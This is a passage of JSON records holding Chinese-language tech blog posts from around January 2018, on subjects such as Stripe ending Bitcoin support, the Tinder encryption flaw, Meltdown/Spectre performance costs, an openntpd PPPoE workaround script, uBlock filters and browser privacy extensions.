    "body": "<a href=\"https://stripe.com/\">Stripe</a> 發了公告出來，要停止支援 <a href=\"https://en.wikipedia.org/wiki/Bitcoin\">Bitcoin</a>：「<a href=\"https://stripe.com/blog/ending-bitcoin-support\">Ending Bitcoin Support</a>」。預定保留三個月的緩衝期，在 2018 年 4 月 23 日停掉：\r\n\r\n<blockquote>Over the next three months we will work with affected Stripe users to ensure a smooth transition before we stop processing Bitcoin transactions on April 23, 2018.</blockquote>\r\n\r\n跟其他單位停用的原因都差不多，愈來愈慢的交易速度與愈來愈高的手續費：\r\n\r\n<blockquote>Transaction confirmation times have risen substantially; this, in turn, has led to an increase in the failure rate of transactions denominated in fiat currencies. (By the time the transaction is confirmed, fluctuations in Bitcoin price mean that it’s for the “wrong” amount.) Furthermore, fees have risen a great deal. For a regular Bitcoin transaction, a fee of tens of U.S. dollars is common, making Bitcoin transactions about as expensive as bank wires.</blockquote>\r\n\r\n跟 <a href=\"http://store.steampowered.com/\">Steam</a> 當時的理由很類似... (參考「<a href=\"https://blog.gslin.org/archives/2017/12/08/7905/steam-%E5%81%9C%E6%AD%A2%E4%BD%BF%E7%94%A8-bitcoin-%E8%B3%BC%E8%B2%B7%E9%81%8A%E6%88%B2/\">Steam 停止使用 Bitcoin 購買遊戲</a>」)",
    "title": "Stripe 也宣佈要停止支援 Bitcoin 了"
  },
  {
    "id": "8071",
    "body": "<a href=\"https://www.eff.org/\">EFF</a> 的「<a href=\"https://sec.eff.org/materials/Transport-Layer-vs-End-to-End\">Transport-Layer Encryption vs End-to-End Encryption - GIF</a>」這篇文章介紹了 Transport-Layer Encryption 與 End-to-End Encryption 的差異，最後還給了一張 GIF 說明：\r\n\r\n<img src=\"https://i.gslin.com/imgur/A8W7aM6.gif\" alt=\"\" />\r\n\r\n其實 GIF 給的範例還蠻清楚的，在 Transport-Layer Encryption 中服務提供商可以看到原始內容 (以 GIF 內提到的例子就是 <a href=\"https://www.google.com/\">Google</a>)，而在 End-to-End Encryption 中就不行，只有傳輸雙方可以知道原始內容。\r\n\r\n然後文章裡也提到了 <a href=\"https://trac.torproject.org/projects/tor/wiki/doc/TorMessenger\">Tor Messenger</a>，可以吃現有的通訊軟體，然後在上面疊出 End-to-End Encryption。",
    "title": "Transport-Layer Encryption 與 End-to-End Encryption 的差異"
  },
  {
    "id": "8072",
    "body": "<a href=\"https://en.wikipedia.org/wiki/Rasmus_Lerdorf\">Rasmus Lerdorf</a> 是 <a href=\"https://secure.php.net/\">PHP</a> 的發明人，純粹是有趣的角度看這篇文章：「<a href=\"https://toys.lerdorf.com/archives/61-Testing-VPS-solutions.html\">Testing VPS solutions</a>」。\r\n\r\n文章裡比較了十家 VPS 或是可以當作 VPS 的雲服務商，先直接講重點，看起來他最後選了 <a href=\"https://www.vultr.com/\">Vultr</a>：\r\n\r\n<blockquote>A serious competitor to Digital Ocean. I would use this.</blockquote>\r\n\r\n不過 Vultr 有個讓人不太舒服的地方 (對我而言) 是登入機制沒有 2FA，所以只能透過 Password Manager 用強密碼保護。不過除此之外都還算不錯。\r\n\r\n不過既然是 Rasmus，在提到 <a href=\"https://www.microsoft.com/\">Microsoft</a> 的 <a href=\"https://azure.microsoft.com/\">Azure</a> 才會是重點 XDDD：\r\n\r\n<blockquote>This one was painful. Yes, I have a bit of a Microsoft aversion, but I tried to keep an open mind. Read the full description of my Azure adventure. Expensive, apparently no IPv6, slow disk IO, and I couldn't figure out block storage options. Definitely not for me.</blockquote>\r\n\r\n然後在測試 Azure 時的評語就更酸了：\r\n\r\n<blockquote>Oh Azure! This one is going to get a bit ranty. I Spent a good 20 minutes clicking around the provisioning Web UI. To be fair, it is more geared to people needing to provision a lot of servers. Doing a single one like this is not the target audience as far as I can tell. But still, instead of presenting a couple of standard options and a way to build your own custom config, Azure gives you 92 options (depending on which region you select):</blockquote>\r\n\r\n繼續抱怨找不到價錢：\r\n\r\n<blockquote>I also got super lost trying to figure out what it would cost to bring the VPS up to 500 GB of persistent storage. And then to make things even more confusing, when I started the virtual machine creation process and came to the \"Choose your virtual machine size\" step, I got a bunch of different options not included in the above list with most of them listed as \"Not Available\" including both the A4 v2 and F4 options I had so carefully located.</blockquote>\r\n\r\n然後還有奇怪的 agent 在跑：\r\n\r\n<blockquote>The Azure VPS also had the heaviest provisioning agent of all the ones I tested. It looks like it is doing a heartbeat once per second and doing a (non-ssl) GET request to an IIS server upstream asking it for a \"GoalState\". I listened and checked what the IIS server responded with. The response from the management server is in the GoalState addendum below. It is mostly self-explanatory, I think.</blockquote>\r\n\r\n相較於其他家 VPS 的評測，這部份的長度與酸度都頗不賴的 XDDD",
    "title": "Rasmus Lerdorf 關於 VPS 的介紹測試..."
  },
  {
    "id": "8073",
    "body": "看到「<a href=\"https://objective-see.com/products/lulu.html\">LuLu</a>」這個軟體，可以在 <a href=\"https://www.apple.com/macos/\">macOS</a> 上管制對外連線：\r\n\r\n<blockquote>LuLu is the free open-source macOS firewall that aims to block unknown outgoing connections, unless explicitly approved by the user.</blockquote>\r\n\r\n需要 10.12+ 的版本，目前阻擋的畫面長這樣 (目前還是 alpha 版)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/djtNKnu.webp\" /><img src=\"https://i.gslin.com/imgur/djtNKnu.jpg\" alt=\"\" /></picture>\r\n\r\n這類產品讓我想到大學時還有在用的防火牆軟體... XD\r\n\r\n程式碼在 <a href=\"https://github.com/objective-see/LuLu\">objective-see/LuLu</a> 這邊，軟體授權用了少見的 <a href=\"https://creativecommons.org/licenses/by-nc/4.0/\">CC BY-NC 4.0</a> 授權，由於限制商業使用，這不算是 open source license (雖然產品頁面上這樣宣稱)。有空來找看看有沒有替代品好了...",
    "title": "macOS 上管制對外連線的 LuLu"
  },
  {
    "id": "8074",
    "body": "在「<a href=\"https://www.wired.com/story/tinder-lack-of-encryption-lets-strangers-spy-on-swipes/\">Tinder's Lack of Encryption Lets Strangers Spy on Your Swipes</a>」這篇看到 <a href=\"https://tinder.com/\">Tinder</a> 的實作問題，主要是兩個問題組合起來。第一個是圖片沒有用 HTTPS 傳輸：\r\n\r\n<blockquote>On Tuesday, researchers at Tel Aviv-based app security firm Checkmarx demonstrated that Tinder still lacks basic HTTPS encryption for photos.</blockquote>\r\n\r\n第二個是透過 side channel information leaking：即使是 HTTPS 傳輸，還是可以透過 size 知道是哪種類型的操作：\r\n\r\n<blockquote>Tinder represents a swipe left to reject a potential date, for instance, in 278 bytes. A swipe right is represented as 374 bytes, and a match rings up at 581.</blockquote>\r\n\r\n這兩個資訊就可以把行為組出來了。\r\n\r\n接下來應該會先把圖片上 HTTPS 吧？然後再來是把各種類型的 packet 都塞大包一點？",
    "title": "Tinder 的漏洞"
  },
  {
    "id": "8075",
    "body": "<a href=\"https://duckduckgo.com/\">DuckDuckGo</a> 推出了自家的瀏覽器與套件，標榜注重隱私：「<a href=\"https://spreadprivacy.com/privacy-simplified/\">DuckDuckGo moves beyond search to also protect you while browsing.</a>」，支援多個平台 (然後 <a href=\"https://en.wikipedia.org/wiki/Internet_Explorer\">IE</a> 與 <a href=\"https://en.wikipedia.org/wiki/Microsoft_Edge\">Edge</a> 不在列表 XDDD)：\r\n\r\n<blockquote>Our updated app and extension are now available across all major platforms – Firefox, Safari, Chrome, iOS, and Android – so that you can easily get all the privacy essentials you need on any device with just one download.</blockquote>\r\n\r\n官方給了個示意圖：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/6JBfUh5.webp\" /><img src=\"https://i.gslin.com/imgur/6JBfUh5.jpg\" alt=\"\" /></picture>\r\n\r\n測了一下 <a href=\"https://www.apple.com/ios/\">iOS</a> 上的 app，用起來不算難用，應該會用一陣子測試看看...",
    "title": "DuckDuckGo 推出瀏覽器與套件"
  },
  {
    "id": "8076",
    "body": "而且這還不是完全修復，只是大幅降低被攻擊的機率...\r\n\r\n<a href=\"https://www.percona.com/\">Percona</a> 在 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 16.04 上測試 <a href=\"https://meltdownattack.com/\">Meltdown</a> 與 <a href=\"https://spectreattack.com/\">Spectre</a> 這兩個安全漏洞的修正對於效能的影響。在原文標題就講了結論，為了修正 Meltdown 與 Spectre 兩個安全漏洞，效能的損失很明顯：「<a href=\"https://www.percona.com/blog/2018/01/23/20-30-performance-hit-spectre-bug-fix-ubuntu/\">20-30% Performance Hit from the Spectre Bug Fix on Ubuntu</a>」。\r\n\r\n這邊測的結果發現，在 CPU bound 時的損失大約是 20%～25% (甚至到 30%)，而 I/O bound 會輕一些，大約是 15%～20%：\r\n\r\n<blockquote>We can see that in CPU-bound workloads the overhead is 20-25%, reaching up to 30% in point select queries. In IO-bound (25G buffer pool) workloads, the observed overhead is 15-20%.</blockquote>\r\n\r\n在 comment 的地方 Percona 的人被問到 <a href=\"https://www.amd.com/\">AMD</a> 平台上效能會損失多少的問題，但因為他們手上目前沒有 AMD 平台的新機器所以不知道會有多少：\r\n\r\n<blockquote>I do not have modern AMD servers on my hands right now</blockquote>\r\n\r\n理論上 AMD 平台不需要處理 Meltdown 問題，損失應該會少一些，但沒測過也不曉得會是什麼情況... (像是 Spectre 的修正損失會不會比 Intel 還重，這之類的...)\r\n\r\n另外補上早些時候的文章，當時 Ubuntu 上的 kernel 只有對 Meltdown 攻擊的修正，當時 Percona 的人也測了一次：「<a href=\"https://www.percona.com/blog/2018/01/18/does-the-meltdown-fix-affect-performance-for-mysql-on-bare-metal/\">Does the Meltdown Fix Affect Performance for MySQL on Bare Metal?</a>」，看起來對 Meltdown 攻擊的修正對效能的影響不太大，不過文裡有測試到 syscall 的效率的確如同預期掉很多。",
    "title": "Percona 版本的 MySQL 對於 Meltdown/Spectre 漏洞修復造成的效能損失 (Intel 平台)"
  },
  {
    "id": "8078",
    "body": "發現機器時間跟標準時間差了 40 秒左右，結果有些服務因為會看雙方時間，就不讓我跑... XDDD\r\n\r\n找問題找了半天，發現開機後 <a href=\"https://en.wikipedia.org/wiki/Ntpdate\">ntpdate</a> 會回報找不到伺服器，看起來是網路根本就還沒通就跑起來了：\r\n\r\n<pre>Jan 25 13:10:30 home ntpdate[757]: name server cannot be used: Temporary failure in name resolution (-3)\r\nJan 25 13:10:30 home ntpdate[1171]: name server cannot be used: Temporary failure in name resolution (-3)\r\nJan 25 13:10:30 home ntpdate[1347]: name server cannot be used: Temporary failure in name resolution (-3)\r\nJan 25 13:10:30 home ntpdate[1410]: name server cannot be used: Temporary failure in name resolution (-3)</pre>\r\n\r\n而理論上 與 <a href=\"http://www.openntpd.org/\">openntpd</a> 加上 <code>-s</code> 也會做類似的事情，所以這邊就在 <code>/etc/default/openntpd</code> 先加上 <code>-s</code>，讓他開機時強制對時一次，看看能不能解... 結果也是一樣在網路還沒通的時候就跑起來而失敗了：\r\n\r\n<pre>Jan 25 13:10:45 home ntpd[1457]: no reply received in time, skipping initial time setting</pre>\r\n\r\n由於這台機器是 <a href=\"https://www.hinet.net/\">HiNet</a> 的 PPPoE，看起來有可能是某些條件沒寫好，造成執行順序不對... 所以就找個 workaround 來解決 @_@\r\n\r\n後來找的方法是直接到 <code>/etc/ppp/ip-up.d/</code> 下放一個 script 實作 workaround，直接在 PPPoE 連上後重跑 openntpd，然後用 hwclock 寫回主機裡，下次開機的時間就會比較準一些了：\r\n\r\n<pre>#!/bin/sh -e\r\n\r\n/usr/sbin/service openntpd restart\r\n/sbin/hwclock -w</pre>\r\n\r\n不過實際上還是要找看看要怎麼把 PPPoE 掛到 networking 那層行為裡面...",
    "title": "針對 Ubuntu 16.04 + PPPoE 時，OpenNTPD 的 -s 不會在啟動時直接校正的問題 workaround..."
  },
  {
    "id": "8079",
    "body": "在「<a href=\"https://medium.com/netflix-techblog/scaling-time-series-data-storage-part-i-ec2b6d44ba39\">Scaling Time Series Data Storage — Part I</a>」這篇看到 <a href=\"https://www.netflix.com/\">Netflix</a> 在 Time Series Data Storage 上所做的努力...\r\n\r\n因為應用在寫多讀少的場景，所以選擇使用 <a href=\"https://cassandra.apache.org/\">Cassandra</a>，遇到瓶頸後把常寫入的與不太會改變的拆開儲存，並且用不同方式最佳化。包括了 cache 與 compression 都拿出來用了...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/gCUZoAs.webp\" /><img src=\"https://i.gslin.com/imgur/gCUZoAs.jpg\" alt=\"\" /></picture>\r\n\r\n不知道他們內部有沒有評估 <a href=\"http://www.scylladb.com/\">ScyllaDB</a> 的想法...",
    "title": "Netflix 在 Time Series Data Storage 上的努力..."
  },
  {
    "id": "8080",
    "body": "在「<a href=\"http://www.omgubuntu.co.uk/2018/01/xorg-will-default-display-server-ubuntu-18-04-lts\">Ubuntu 18.04 LTS is Switching back to Xorg</a>」這邊看到 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 18.04 將要從 <a href=\"https://wayland.freedesktop.org/\">Wayland</a> 換回 <a href=\"https://www.x.org/\">Xorg</a> 的消息，只能說不意外 XDDD\r\n\r\nUbuntu 官方的說明在「<a href=\"https://insights.ubuntu.com/2018/01/26/bionic-beaver-18-04-lts-to-use-xorg-by-default/\">Bionic Beaver 18.04 LTS to use Xorg by default</a>」這邊，文章裡面給了三個理由：\r\n\r\n<ul>\r\n\t<li>Screen sharing in software like WebRTC services, Google Hangouts, Skype, etc works well under Xorg.</li>\r\n\t<li>Remote Desktop control for example RDP & VNC works well under Xorg.</li>\r\n\t<li>Recoverability from Shell crashes is less dramatic under Xorg.</li>\r\n</ul>\r\n\r\n講白了就是還有一堆東西有問題，看起來在 17.10 導入 Wayland 後沒搞定：\r\n\r\n<blockquote>17.10, released in October 2017, ships with the Wayland based graphics server as the default and the Xorg based equivalent is available as an option from the login screen.</blockquote>\r\n\r\n在 18.04 預設會用 Xorg，但系統內還是會有 Wayland 讓使用者可以選：\r\n\r\n<blockquote>The Wayland session will still be available, pre-installed, for people to use, but for our ‘out of the box’ users the Ubuntu experience needs to be stable and provide the features they have come to expect and use in daily life and Xorg is the best choice here, at least for 18.04 LTS, but for 18.10 we will re-evaluate Wayland as the default.</blockquote>\r\n\r\n再測個兩年吧 XD",
    "title": "Ubuntu 18.04 將從 Wayland 換回 Xorg..."
  },
  {
    "id": "8081",
    "body": "在桌機上面用 <a href=\"https://mobile.twitter.com/\">mobile.twitter.com</a> 速度比 <a href=\"https://twitter.com/\">twitter.com</a> 快很多，所以平常用桌機時都是用 mobile 這個版本在逛，但因為 mobile 版本對 css name 有處理過，使得 <a href=\"https://github.com/gorhill/uBlock\">uBlock Origin</a> 這類軟體不好處理廣告的部份...\r\n\r\n前陣子在日本的時候發現頁面上多了一堆廣告，本來以為是在日本用日本 IP address 才會有所以就沒有太在意，結果回台灣後發現也出現了... 看起來是 css name 又因為改版被改掉而使得原本的規則失效了...\r\n\r\n網路上找其他方法看看有沒有方向，結果找到「<a href=\"https://github.com/uBlockOrigin/uAssets/issues/351\">Block \"Promoted Tweets\" on mobile.twitter.com · Issue #351 · uBlockOrigin/uAssets</a>」這篇，雖然最後的 commit 還是用 css name 的方式，但在留言處 <a href=\"https://github.com/Jud\">Jud</a> 提到可以用 <a href=\"https://github.com/gorhill/uBlock/wiki/Procedural-cosmetic-filters\">Procedural cosmetic filters</a> 中的 <a href=\"https://en.wikipedia.org/wiki/XPath\">XPath</a> 解決：\r\n\r\n<pre>mobile.twitter.com##:xpath(/html/body//div[@role=\"article\"][.//text()[starts-with(., \"Promoted\")]])</pre>\r\n\r\n這條規則不算難懂，先找出 <code>&lt;div role=\"article\"&gt;</code> 的元素，然後判斷下面的節點有沒有文字化開頭後是 <code>Promoted</code> 的字串。\r\n\r\n在還沒有更新規則之前，這個拿來擋一擋應該還行... 不過條件寫的有點簡單，可能會有誤判，也許改抓 <code>div</code> 的「<code>Promoted by </code>」應該會比較好？也就是這樣：\r\n\r\n<pre>mobile.twitter.com##:xpath(/html/body//div[@role=\"article\"][.//div[text()[starts-with(., \"Promoted by \")]]])</pre>\r\n\r\n就先這樣搞吧...",
    "title": "擋 mobile.twitter.com 上的廣告"
  },
  {
    "id": "8082",
    "body": "除了註冊 <a href=\"https://www.google.com/\">Google</a> 帳號外，另外一個方式是透過 e-mail 直接登記。在這篇有人問到類似的問題：「<a href=\"https://webapps.stackexchange.com/questions/13508/how-can-i-subscribe-to-a-google-mailing-list-with-a-non-google-e-mail-address\">How can I subscribe to a Google mailing list with a non-Google e-mail address?</a>」。\r\n\r\n不是 Accepted 那個答案，而是 c33s 給的答案：\r\n\r\n<blockquote>Look for group email address in the heading of “Group email”, it will look like: Group email (Group Name)@googlegroups.com or visit the group web page on Google Groups, and click on “About this group”.\r\n\r\nSend an email to (Group Name)+subscribe@googlegroups.com. +subscribe is the key, which is appended to the end of group’s email address. (Group Name) is the name of the group. Space is substituted by “-” (hyphen).</blockquote>\r\n\r\n如果是 <a href=\"https://groups.google.com/forum/#!forum/trac-announce\">trac-announce</a> 這個群組，就寄到 <code>trac-announce+subscribe@googlegroups.com</code> 這個位置，他會寄一封信回來確認，你把整封信回回去就可以了... (信裡有 auth key，寄回去就可以通過)\r\n\r\n這個技巧在官方文件裡沒出現過... 但一直都是有效的 :o",
    "title": "用郵件訂閱 Google Groups 上的 Mailing List"
  },
  {
    "id": "8083",
    "body": "看到「<a href=\"https://blog.agilebits.com/2018/01/25/terraforming-1password/\">Terraforming 1Password</a>」這篇以及這則 Tweet，講 <a href=\"https://1password.com/\">1Password</a> 導入 <a href=\"https://www.terraform.io/\">Terraform</a> 將會中斷服務幾個小時：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">1Password servers will be down for the next few hours. We are recreating our entire environment to replace AWS CloudFormation with <a href=\"https://twitter.com/HashiCorp?ref_src=twsrc%5Etfw\">@HashiCorp</a> Terraform. It is like creating a brand new universe, from scratch.</p>&mdash; Roustem Karimov (@roustem) <a href=\"https://twitter.com/roustem/status/954912547555090433?ref_src=twsrc%5Etfw\">January 21, 2018</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n這根本是負面宣傳 XDDD\r\n\r\n無論是對 1Password 的技術能力，或是 Terraform 的彈性來說...",
    "title": "1Password 使用 Terraform 的案例..."
  },
  {
    "id": "8084",
    "body": "碰到信用卡卡號時會需要的 <a href=\"https://en.wikipedia.org/wiki/Payment_Card_Industry_Data_Security_Standard\">PCI DSS</a>，在 <a href=\"https://aws.amazon.com/\">AWS</a> 上面多了一卡車服務過了這個認證：「<a href=\"https://aws.amazon.com/blogs/security/aws-adds-16-more-services-to-its-pci-dss-compliance-program/\">AWS Adds 16 More Services to Its PCI DSS Compliance Program</a>」。\r\n\r\n多了這些，有不少其實蠻常用的東西：\r\n\r\n<ul>\r\n\t<li>Amazon Inspector</li>\r\n\t<li>Amazon Macie</li>\r\n\t<li>Amazon QuickSight</li>\r\n\t<li>Amazon S3 Transfer Acceleration</li>\r\n\t<li>Amazon SageMaker</li>\r\n\t<li>Amazon Simple Notification Service</li>\r\n\t<li>AWS Batch</li>\r\n\t<li>AWS CodeBuild</li>\r\n\t<li>AWS Lambda@Edge</li>\r\n\t<li>AWS Shield</li>\r\n\t<li>AWS Snowball</li>\r\n\t<li>AWS Snowball Edge</li>\r\n\t<li>AWS Snowmobile</li>\r\n\t<li>AWS Systems Manager</li>\r\n\t<li>AWS X-Ray</li>\r\n</ul>\r\n\r\n<a href=\"https://aws.amazon.com/lambda/edge/\">Lambda@Edge</a> 可以用表示信用卡處理頁面上也可以卡這個服務進來了，另外比較意外的是，<a href=\"https://aws.amazon.com/sns/\">SNS</a> 之前居然沒在 PCI DSS 清單裡面喔 XDDD",
    "title": "AWS 多了一卡車服務符合 PCI DSS"
  },
  {
    "id": "8085",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 的 <a href=\"http://jeff-barr.com/\">Jeff Barr</a> 宣佈了有 <a href=\"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/enhanced-networking-ena.html\">ENA</a> 的 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> instance 的頻寬提升到 25Gbps：「<a href=\"https://aws.amazon.com/blogs/aws/the-floodgates-are-open-increased-network-bandwidth-for-ec2-instances/\">The Floodgates Are Open – Increased Network Bandwidth for EC2 Instances</a>」。\r\n\r\n分成三種，第一種是對 <a href=\"https://aws.amazon.com/s3/\">S3</a> 的頻寬提昇：\r\n\r\n<blockquote>EC2 to S3 – Traffic to and from Amazon Simple Storage Service (S3) can now take advantage of up to 25 Gbps of bandwidth. Previously, traffic of this type had access to 5 Gbps of bandwidth. This will be of benefit to applications that access large amounts of data in S3 or that make use of S3 for backup and restore.</blockquote>\r\n\r\n第二種是 EC2 對 EC2 (內網)：\r\n\r\n<blockquote>EC2 to EC2 – Traffic to and from EC2 instances in the same or different Availability Zones within a region can now take advantage of up to 5 Gbps of bandwidth for single-flow traffic, or 25 Gbps of bandwidth for multi-flow traffic (a flow represents a single, point-to-point network connection) by using private IPv4 or IPv6 addresses, as described here.</blockquote>\r\n\r\n第三種也是 EC2 對 EC2，但是是在同一個 Cluster Placement Group：\r\n\r\n<blockquote>EC2 to EC2 (Cluster Placement Group) – Traffic to and from EC2 instances within a cluster placement group can continue to take advantage of up to 10 Gbps of lower-latency bandwidth for single-flow traffic, or 25 Gbps of lower-latency bandwidth for multi-flow traffic.</blockquote>\r\n\r\n有 ENA 的有這些，好像沒看到 <a href=\"https://www.centos.org/\">CentOS</a>？\r\n\r\n<blockquote>ENA-enabled AMIs are available for Amazon Linux, Ubuntu 14.04 & 16.04, RHEL 7.4, SLES 12, and Windows Server (2008 R2, 2012, 2012 R2, and 2016). The FreeBSD AMI in AWS Marketplace is also ENA-enabled, as is VMware Cloud on AWS.</blockquote>",
    "title": "Amazon EC2 的可用頻寬提昇"
  },
  {
    "id": "8086",
    "body": "在「<a href=\"https://blog.gslin.org/archives/2018/01/24/8072/rasmus-lerdorf-%E9%97%9C%E6%96%BC-vps-%E7%9A%84%E4%BB%8B%E7%B4%B9%E6%B8%AC%E8%A9%A6/\">Rasmus Lerdorf 關於 VPS 的介紹測試...</a>」這篇的留言裡，Jimmy 提到 <a href=\"https://www.vultr.com/\">Vultr</a> 是有 2FA 可以用的 (當初沒找到...)，於是就花了點時間設定...\r\n\r\n但設定的過程中發現 <a href=\"https://en.wikipedia.org/wiki/Time-based_One-time_Password_Algorithm\">TOTP</a> 的 QR code 出不來，但在 dev console 裡面卻看得到 <code>img</code> 元素。\r\n\r\n這種情況前幾個月在另外一個網站上也遇過 (當下拿 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 測也不行)，於是就認為他們網站的問題，開了 support ticket 也沒回，一直沒下文的情況下就丟著。現在在 Vultr 上又遇到同樣的問題的話，看起來有可能是我的問題 (或是他們兩個站台都用同樣的 library)，於是就仔細點找...\r\n\r\n找的過程中間發現有 <code>canvas</code> 元素，然後 <code>canvas</code> 元素有個 inline css 是 <code>display: none;</code>，先試著把這條拿掉，就出現了... 接下來就好猜了。\r\n\r\n在 2014 年的「<a href=\"https://blog.gslin.org/archives/2014/08/05/4927/%E7%94%A8-canvas-fingerprint-%E5%8F%96%E4%BB%A3%E9%83%A8%E4%BB%BD-cookie/\">用 Canvas Fingerprint 取代部份 Cookie</a>」這篇就有提過可以用 Canvas 追蹤使用者的問題，於是就有介紹了 <a href=\"https://chrome.google.com/webstore/detail/canvasfingerprintblock/ipmjngkmngdcdpmgmiebdmfbkcecdndc\">CanvasFingerprintBlock</a> 這個在 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 上的套件，阻擋 Canvas 的存取。一關掉這個套件就正常了 XDDD\r\n\r\n為了隱私問題，套件本身還是掛著，但當遇到發現有 QR code 出不來的時候就知道去 dev console 內改掉 XDDD\r\n\r\n然後回到原來本來以為有問題的那個網站，也是一樣進 dev console 改掉後就看得到可以掃了... 看起來這兩個站可能是用一樣的 library？找出來再去戳這兩個站好了...",
    "title": "2FA 的 QR code 與 CanvasFingerprintBlock"
  },
  {
    "id": "8091",
    "body": "在「<a href=\"https://www.solidot.org/story?sid=55363\">阻止网站调用不必要的你的浏览器 API</a>」這篇裡面看到的，論文的作者發展了 <a href=\"https://www.google.com/chrome/\">Chrome</a> 與 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 的延伸套件，可以控制瀏覽器內的 Web API。套件原始程式碼在 <a href=\"https://github.com/\">GitHub</a> 的 <a href=\"https://github.com/snyderp/web-api-manager\">snyderp/web-api-manager</a>，頁面上有 Chrome 與 Firefox 延伸套件的連結可以直接安裝。\r\n\r\n套件本身預設不會擋任何 Web API，但提供了三種不同的 Preset 讓你選 (Lite、Conservative 與 Aggressive)，一般情況下用 Lite (擋掉 17 種 Web API) 就有不錯的效果了。另外也可以針對某些網域做另外的調整... (雖然還沒用過 XD)\r\n\r\n直接抓 Google Chrome 上給的截圖：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/tRavRZq.webp\" /><img src=\"https://i.gslin.com/imgur/tRavRZq.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Sc3dtza.webp\" /><img src=\"https://i.gslin.com/imgur/Sc3dtza.jpg\" alt=\"\" /></picture>\r\n\r\n這是個好東西啊，有些 API 出來擺明就是來追蹤使用者的... 關掉省麻煩 XD",
    "title": "控制瀏覽器裡的 Web API"
  },
  {
    "id": "8094",
    "body": "在上一篇提到的「<a href=\"https://blog.gslin.org/archives/2018/01/29/8091/%E6%8E%A7%E5%88%B6%E7%80%8F%E8%A6%BD%E5%99%A8%E8%A3%A1%E7%9A%84-web-api/\">控制瀏覽器裡的 Web API</a>」，用了一兩天後有遇到一些問題，大概整理一下...\r\n\r\n<ul>\r\n\t<li><a href=\"https://mail.google.com/\">Gmail</a> 會開不起來，需要將 <code>mail.google.com</code> 列入白名單 (一個阻擋條件都不能設)，這是因為遇到瀏覽器的 bug，在「<a href=\"https://github.com/snyderp/web-api-manager/issues/55\">General breakage on specific site · Issue #55 · snyderp/web-api-manager</a>」這邊作者有找到問題，他判斷是瀏覽器的問題後開了 ticket 給 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 與 <a href=\"https://www.google.com/chrome/\">Chrome</a>，不知道什麼時候會好...</li>\r\n\t<li>同理，<a href=\"https://www.facebook.com/\">Facebook</a> 右上角的通知也出不來，也是同樣的問題，需要把 <code>www.facebook.com</code> 列入白名單。</li>\r\n\t<li>另外是 <a href=\"https://www.google.com/maps/\">Google Maps</a> 用滑鼠滾輪滾動本來是平滑式的縮放，現在用起來會變成階段式的縮放，原因是 Google Maps 用到 WebGL Specification (在 Lite 裡面會阻擋)。這有兩個方向可以改，一個是把 <code>www.google.com</code> (或是 <code>www.google.com.tw</code>，看你用的網域) 另外開一組設定管理，另外一個是直接把 WebGL Specification 的阻擋關掉。</li>\r\n</ul>\r\n\r\n目前遇到的大概就是這些了...",
    "title": "幾個 Web API Manager 要設定的東西..."
  },
  {
    "id": "8095",
    "body": "我第一眼看到的時候還在想是哪個 <a href=\"https://en.wikipedia.org/wiki/Content_farm\">content farm</a> 的標題，我應該沒有訂到 content farm 的 RSS feed 才對... 結果發現是 <a href=\"https://cloud.google.com/\">Google Cloud Platform</a> 上的文章：「<a href=\"http://cloudplatform.googleblog.com/2018/01/12-best-practices-for-user-account.html\">12 best practices for user account, authorization and password management</a>」。\r\n\r\n然後看完內容後還是有種 content farm 的感覺... (歡樂)",
    "title": "GCP 對於設計使用者帳號時給的建議"
  },
  {
    "id": "8096",
    "body": "<a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 本來預定在一月底時推出 Wildcard SSL Certificate (參考「<a href=\"https://blog.gslin.org/archives/2017/07/07/7429/lets-encrypt-%E6%B1%BA%E5%AE%9A%E8%A6%81%E8%A6%8F%E5%8A%83-wildcard-ssl-certificate-%E4%BA%86/\">Let's Encrypt 決定要規劃 Wildcard SSL Certificate 了</a>」)，昨天突然想到應該是要推出了... 查了資料發現在原本的公告文章上宣佈延到二月底了：「<a href=\"https://letsencrypt.org/2017/07/06/wildcard-certificates-coming-jan-2018.html\">Wildcard Certificates Coming January 2018</a>」。\r\n\r\n<blockquote>Update, January 4, 2018\r\n\r\nWe introduced a public test API endpoint for the ACME v2 protocol and wildcard support on January 4, 2018. ACME v2 and wildcard support will be fully available on February 27, 2018.</blockquote>\r\n\r\n所以再等一個月吧...",
    "title": "Let's Encrypt 的 Wildcard SSL Certificate 延至二月底推出"
  },
  {
    "id": "8098",
    "body": "看到有人實做 <a href=\"https://en.wikipedia.org/wiki/Seam_carving\">Seam Carving</a> (<a href=\"https://zh.wikipedia.org/wiki/%E6%8E%A5%E7%B8%AB%E8%A3%81%E5%89%AA\">接縫裁剪</a>) 了，用 <a href=\"https://golang.org/\">Golang</a> 寫的，放在 <a href=\"https://github.com/\">GitHub</a> 的 <a href=\"https://github.com/esimov/caire\">esimov/caire</a> 這邊，副標題「Content aware image resize library」。實做了「<a href=\"https://inst.eecs.berkeley.edu/~cs194-26/fa16/hw/proj4-seamcarving/imret.pdf\">Seam Carving for Content-Aware Image Resizing</a>」這篇論文。\r\n\r\nSeam Carving 指的是知道內容的 resize，像是把上面這張變成下面這張：\r\n\r\n<img src=\"https://i.gslin.com/imgur/0chwSzg.jpg\" alt=\"\" />\r\n\r\n<img src=\"https://i.gslin.com/imgur/v0XWtBA.jpg\" alt=\"\" />\r\n\r\n或是變大：\r\n\r\n<img src=\"https://i.gslin.com/imgur/22tjjHV.jpg\" alt=\"\" />\r\n\r\n<img src=\"https://i.gslin.com/imgur/uWksUfS.jpg\" alt=\"\" 